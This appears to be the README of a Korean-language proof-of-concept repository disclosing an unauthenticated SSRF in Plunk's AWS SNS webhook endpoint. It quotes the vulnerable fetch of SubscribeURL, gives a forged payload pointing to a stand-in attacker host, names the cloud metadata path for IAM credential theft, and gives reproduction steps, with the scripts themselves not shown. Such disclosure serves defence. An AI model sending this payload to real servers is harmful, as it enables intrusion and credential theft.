
Proof-of-concept exploit for an SSRF vulnerability in Plunk's SNS webhook, demonstrating unauthenticated server-side request forgery via unvalidated SubscribeURL.
useplunk/plunk의 검증되지 않은 AWS SNS SubscriptionConfirmation을 통한 SSRF
Plunk API 엔드포인트 POST /webhooks/sns는 AWS SNS 암호화 서명을 검증하지 않고 공격자가 제공한 SubscribeURL을 가져옵니다. 인증되지 않은 공격자는 서버가 임의의 아웃바운드 HTTP 요청(SSRF)을 수행하도록 강제할 수 있습니다.
| 심각도 | 치명적 — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: 서버 측 요청 위조 |
| 영향을 받는 파일 | apps/api/src/controllers/Webhooks.ts |
| 인증 필요 | 없음 |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — 서명 검증 없음
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
최소 페이로드는 두 개의 필드만 있으면 됩니다:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/를 통해 IAM 자격 증명 탈취Plunk 테스트 환경 시작:
docker compose up -d
SSRF 콜백 리스너 시작:
python3 listener.py
익스플로잇 실행:
chmod +x exploit.sh
./exploit.sh
관찰: listener.py 출력에서 콜백 히트를 확인하여 서버가 공격자가 제어하는 URL을 가져왔는지 확인합니다.
| 파일 | 설명 |
|---|---|
exploit.sh | 종단 간 익스플로잇 스크립트 — 취약한 엔드포인트에 위조된 SNS 페이로드 전송 |
listener.py | SSRF 콜백 리스너 — Plunk 서버에서 들어오는 요청을 캡처하고 기록 |
docker-compose.yml | 로컬 재현을 위한 최소 Docker Compose 환경 (Postgres, Redis, Plunk) |